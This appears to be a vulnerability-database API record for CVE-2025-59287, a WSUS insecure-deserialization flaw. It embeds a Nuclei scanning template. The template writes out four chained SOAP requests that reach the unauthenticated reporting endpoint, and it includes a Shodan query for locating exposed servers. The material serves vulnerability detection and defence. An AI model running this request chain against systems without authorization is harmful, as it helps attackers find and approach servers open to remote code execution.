{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-59287/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-59287/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-59287/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-59287/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-59287/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-59287"},"sightings":{"href":"/api/v1/sightings/cve-2025-59287"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-59287.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2025-59287\n\ninfo:\n  name: Windows Server Update Service - Insecure Deserialization\n  author: pussycat0x,princechaddha\n  severity: critical\n  description: |\n    Windows Server Update Service contains an insecure deserialization vulnerability caused by deserialization of untrusted data. An unauthorized attacker with network access can exploit this to execute arbitrary code remotely, potentially leading to full system compromise.\n  impact: |\n    Unauthenticated attackers can exploit unsafe deserialization to execute arbitrary code remotely on Windows Server Update Service systems, achieving complete server compromise.\n  remediation: |\n    Apply the Microsoft security patches as described in the MSRC update guide for Windows Server Update Service and restrict network access to WSUS endpoints.\n  reference:\n    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59287\n    - https://www.huntress.com/blog/exploitation-of-windows-server-update-services-remote-code-execution-vulnerability\n    - https://hawktrace.com/blog/CVE-2025-59287\n    - https://research.eye.security/wsus-deserialization-exploit-in-the-wild-cve-2025-59287\n    - https://unit42.paloaltonetworks.com/microsoft-cve-2025-59287/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2025-59287\n    cwe-id: CWE-502\n    epss-score: 0.9998\n    epss-percentile: 0.99981\n    cpe: cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 4\n    vendor: microsoft\n    product: windows_server_update_service\n    shodan-query: cpe:\"cpe:2.3:o:microsoft:windows_server_2012\"\n  tags: cve,cve2025,windows,server,wsus,kev,vkev,deserialization,rce,vuln\n\nvariables:\n  domain: \"{{rand_text_alphanumeric(5)}}.local\"\n\nflow: http(1) && http(2) && http(3) && http(4)\n\nhttp:\n  - raw:\n      - |\n        POST /ReportingWebService/ReportingWebService.asmx HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: text/xml; charset=utf-8\n        SOAPAction: \"http://www.microsoft.com/SoftwareDistribution/GetRollupConfiguration\"\n        Content-Type: text/xml\n        Content-Length: 331\n\n        <?xml version=\"1.0\" encoding=\"utf-8\"?>\n        <soap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n          <soap:Body>\n            <GetRollupConfiguration xmlns=\"http://www.microsoft.com/SoftwareDistribution\">\n                <cookie xmlns:i=\"http://www.w3.org/2001/XMLSchema-instance\" i:nil=\"true\"/>\n            </GetRollupConfiguration>\n          </soap:Body>\n        </soap:Envelope>\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"RollupResetGuid\")'\n          - 'contains(header, \"text/xml\")'\n          - 'status_code == 200'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        part: body\n        name: ServerId\n        group: 1\n        regex:\n          - '<ServerId>(.*)</ServerId>'\n        internal: true\n\n  - raw:\n      - |\n        POST /SimpleAuthWebService/SimpleAuth.asmx HTTP/1.1\n        Host: {{Hostname}}\n        SOAPAction: \"http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService/GetAuthorizationCookie\"\n        Content-Type: text/xml\n        Content-Length: 413\n\n        <?xml version=\"1.0\" encoding=\"utf-8\"?>\n        <soap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n          <soap:Body>\n            <GetAuthorizationCookie xmlns=\"http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService\">\n              <clientId>{{ServerId}}</clientId>\n              <targetGroupName></targetGroupName>\n              <dnsName>{{domain}}</dnsName>\n            </GetAuthorizationCookie>\n          </soap:Body>\n        </soap:Envelope>\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"CookieData\")'\n          - 'contains(header, \"text/xml\")'\n          - 'status_code == 200'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        part: body\n        name: cookie\n        group: 1\n        regex:\n          - '<CookieData>(.*)</CookieData>'\n        internal: true\n\n  - raw:\n      - |\n        POST /ClientWebService/Client.asmx HTTP/1.1\n        Host: {{Hostname}}\n        SOAPAction: \"http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie\"\n        Content-Type: text/xml\n        Content-Length: 413\n\n        <?xml version=\"1.0\" encoding=\"utf-8\"?>\n          <soap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n          <soap:Body>\n        <GetCookie xmlns=\"http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService\">\n          <authCookies>\n            <AuthorizationCookie>\n              <PlugInId>SimpleTargeting</PlugInId>\n              <CookieData>{{cookie}}</CookieData>\n            </AuthorizationCookie>\n            </authCookies>\n            <oldCookie xmlns:i=\"http://www.w3.org/2001/XMLSchema-instance\" i:nil=\"true\"/>\n          <lastChange>{{date_time(\"%Y-%M-%DT%H:%m:%sZ\")}}</lastChange>\n            <currentTime>{{date_time(\"%Y-%M-%DT%H:%m:%sZ\")}}</currentTime>\n            <protocolVersion>1.20</protocolVersion>\n        </GetCookie>\n        </soap:Body>\n        </soap:Envelope>\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"GetCookieResult\")'\n          - 'contains(header, \"text/xml\")'\n          - 'status_code == 200'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        part: body\n        group: 1\n        name: EncryptedData\n        regex:\n          - <EncryptedData>(.*)</EncryptedData>\n        internal: true\n\n  - raw:\n      - |\n        POST /ReportingWebService/ReportingWebService.asmx HTTP/1.1\n        Host: {{Hostname}}\n        Accept: text/xml\n        Connection: keep-alive\n        Content-Type: text/xml\n        SOAPAction: \"http://www.microsoft.com/SoftwareDistribution/ReportEventBatch\"\n        Content-Length: 4464\n\n        <soap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soapenc=\"http://schemas.xmlsoap.org/soap/encoding/\">\n        <soap:Body>\n        <ReportEventBatch xmlns=\"http://www.microsoft.com/SoftwareDistribution\">\n        <cookie>\n        <Expiration>{{date_time(\"%Y-%M-%DT%H:%m:%sZ\")}}</Expiration>\n        <EncryptedData>{{EncryptedData}}</EncryptedData>\n        </cookie>\n        <clientTime>{{date_time(\"%Y-%M-%DT%H:%m:%sZ\")}}</clientTime>\n        <eventBatch xmlns:q1=\"http://www.microsoft.com/SoftwareDistribution\" soapenc:arrayType=\"q1:ReportingEvent[1]\">\n        <ReportingEvent>\n        <BasicData>\n        <TargetID>\n        <Sid>549743e5-8546-4f9d-b946-7948711f7b69</Sid>\n        </TargetID>\n        <SequenceNumber>0</SequenceNumber>\n        <TimeAtTarget>2025-10-29T08:41:54.069</TimeAtTarget>\n        <EventInstanceID>a0ce0892-6046-4f21-856e-69ffa43876b9</EventInstanceID>\n        <NamespaceID>2</NamespaceID>\n        <EventID>389</EventID>\n        <SourceID>301</SourceID>\n        <UpdateID>\n        <UpdateID>00000000-0000-0000-0000-000000000000</UpdateID>\n        <RevisionNumber>0</RevisionNumber>\n        </UpdateID>\n        <Win32HResult>0</Win32HResult>\n        <AppName>LocalServer</AppName>\n        </BasicData>\n        <ExtendedData>\n        <MiscData soapenc:arrayType=\"xsd:string[2]\">\n        <string>Administrator=SYSTEM</string>\n        <string>{{randstr}}</string>\n        </MiscData>\n        </ExtendedData>\n        <PrivateData>\n        <ComputerDnsName></ComputerDnsName>\n        <UserAccountName></UserAccountName>\n        </PrivateData>\n        </ReportingEvent>\n        </eventBatch>\n        </ReportEventBatch>\n        </soap:Body>\n        </soap:Envelope>\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"ReportEventBatchResult>true</ReportEventBatchResult>\")'\n          - 'contains(header, \"text/xml\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 4a0a00473045022100f5bdc4f1fd675b8dd3f1d7e18cfccf3e79bcbdb491008538e366d4866bad2531022020e5dadbcac797beaa85485e27b512c45fd6576644276a5f8b4e7c23a9191196:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2025-59287"}